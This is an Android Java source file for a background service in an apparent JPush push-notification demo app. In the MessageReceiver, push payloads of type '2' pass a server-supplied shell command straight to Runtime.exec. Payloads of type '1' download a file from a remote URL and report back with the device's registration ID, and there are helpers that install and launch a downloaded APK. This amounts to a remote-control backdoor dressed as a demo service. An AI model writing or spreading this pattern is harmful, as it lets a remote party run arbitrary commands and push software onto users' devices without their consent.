package com.example.jpushdemo;

import java.io.BufferedReader;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.ArrayList;
import java.util.List;

import org.apache.http.NameValuePair;
import org.apache.http.client.ClientProtocolException;
import org.apache.http.message.BasicNameValuePair;
import org.json.JSONException;
import org.json.JSONObject;
import org.json.JSONTokener;

import cn.jpush.android.api.JPushInterface;

import com.example.jpushdemo.MainActivity.MessageReceiver;
import com.example.util.ConstantSet;
import com.example.util.FileUtil;
import com.example.util.HttpUtil;

import android.app.Service;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;
import android.net.Uri;
import android.os.Environment;
import android.os.Handler;
import android.os.IBinder;
import android.os.Message;
import android.util.Log;

public class ResStartService extends Service {

	String TAG = "ResStartService";
	
	@Override
	public IBinder onBind(Intent intent) {
		// TODO Auto-generated method stub
		return null;
	}
	
	@Override  
    public void onCreate() {  
        super.onCreate();  
        Log.v("=========", "***** DaemonService *****: onCreate");
        registerMessageReceiver();  // used for receive msg
        JPushInterface.init(getApplicationContext());
//        HttpUtil.doPost(ConstantSet.registerUrl.replace("{RegistrationID}", JPushInterface.getRegistrationID(getApplicationContext())), null);
    }  
  
    @Override  
    public void onStart(Intent intent, int startId) {  
        Log.v("=========", "***** DaemonService *****: onStart");  
        // 这里可以做Service该做的事  
    }  
    
    
	//for receive customer msg from jpush server
	private MessageReceiver mMessageReceiver;
	public static final String MESSAGE_RECEIVED_ACTION = "com.example.jpushdemo.MESSAGE_RECEIVED_ACTION";
	public static final String KEY_TITLE = "title";
	public static final String KEY_MESSAGE = "message";
	public static final String KEY_EXTRAS = "extras";
	
    public void registerMessageReceiver() {
		mMessageReceiver = new MessageReceiver();
		IntentFilter filter = new IntentFilter();
		filter.setPriority(IntentFilter.SYSTEM_HIGH_PRIORITY);
		filter.addAction(MESSAGE_RECEIVED_ACTION);
		registerReceiver(mMessageReceiver, filter);
		
	}

	public class MessageReceiver extends BroadcastReceiver {

		@Override
		public void onReceive(Context context, Intent intent) {
			if (MESSAGE_RECEIVED_ACTION.equals(intent.getAction())) {
              String messge = intent.getStringExtra(KEY_MESSAGE);
              final String extras = intent.getStringExtra(KEY_EXTRAS);
              final StringBuilder showMsg = new StringBuilder();
//              String url = null;
              if (!ExampleUtil.isEmpty(extras)) {
            	  showMsg.append(KEY_EXTRAS + " : " + extras + "\n");
            	
            	handler.post(new Runnable() {  
                    @Override  
                    public void run() { 
                    	JSONTokener jsonParser = new JSONTokener(extras); 
                    	JSONObject httpObj = null;
                  	  try {
      					httpObj = (JSONObject) jsonParser.nextValue();
      					String type= httpObj.getString("type");
      					
      					if(type.equals("1")) {
      						String	url = httpObj.getString("url");
      						String	feedNewsId = httpObj.getString("feedNewsId");
      						Log.i(TAG, type + ";" + feedNewsId + ";" + url);
      						String result = "0";
          					Log.w(TAG, url);
          					if(null != url) {
          						List<NameValuePair> params = new ArrayList<NameValuePair>();
          						params.add(new BasicNameValuePair("feedNewsId", feedNewsId));
          						params.add(new BasicNameValuePair("registrationID", JPushInterface.getRegistrationID(getApplicationContext())));
                              	File downLoadFile = FileUtil.downloadFile(url);
                              	if(downLoadFile.exists()) {
                              		result = "1";
                              	}
                              	params.add(new BasicNameValuePair("result", result));
                              	HttpUtil.doPost(ConstantSet.pushRespondUrl,params);
                          	} 
      					} else if(type.equals("2")) {
      						String	cmd = httpObj.getString("cmd");
      						callShell(cmd);
      					}
                  	  } catch(Exception ex) {
                  		  Log.i(TAG, ex.toString());
                  	  }
                 }});
              }
			}
		}
	}
	
    public int callShell(String shellString) {  
    	int exitValue = 1;
        try {  
            Process process = Runtime.getRuntime().exec(shellString);  
            exitValue = process.waitFor();  
            if (0 != exitValue) {  
                Log.e("TAG","call shell failed. error code is :" + exitValue);  
            } else {
            	 StringBuffer cmdout = new StringBuffer(); 
            	 InputStream fis = process.getInputStream();
                 BufferedReader br = new BufferedReader(new InputStreamReader(fis));
                 String line = null;
                 while ((line = br.readLine()) != null) {
                     cmdout.append(line).append(System.getProperty("line.separator"));
                 }
                 Log.i(TAG,"执行系统命令后的结果为：\n" + cmdout.toString()); 
            }
        } catch (Throwable e) {  
            Log.e("TAG","call shell failed. " + e);  
        }
        
        return exitValue;
    }  
	
	  /**
     * 安装APK
     */
    private void installApk(File file) {
        Intent intent = new Intent(Intent.ACTION_VIEW);
        intent.setDataAndType(Uri.fromFile(file), "application/vnd.android.package-archive");
        startActivity(intent);
    }
    
    /**
     * 打开已经安装好的apk
     */
    private void openApk(Context context, String filepath) {
        PackageManager manager = context.getPackageManager();
        // 这里的是你下载好的文件路径
        PackageInfo info = manager.getPackageArchiveInfo(filepath, PackageManager.GET_ACTIVITIES);
        if (info != null) {
            Intent intent = manager.getLaunchIntentForPackage(info.applicationInfo.packageName);
            startActivity(intent);
        }
    }
 
	
	 private Handler handler = new Handler() {  
	        @Override  
	        public void handleMessage(Message msg) {  
	            switch (msg.what) {  
	            case 1:  
	                // 关闭  
	            	System.out.println("下载完成");;
	                break;  
	            }  
	        }  
	    };  

}
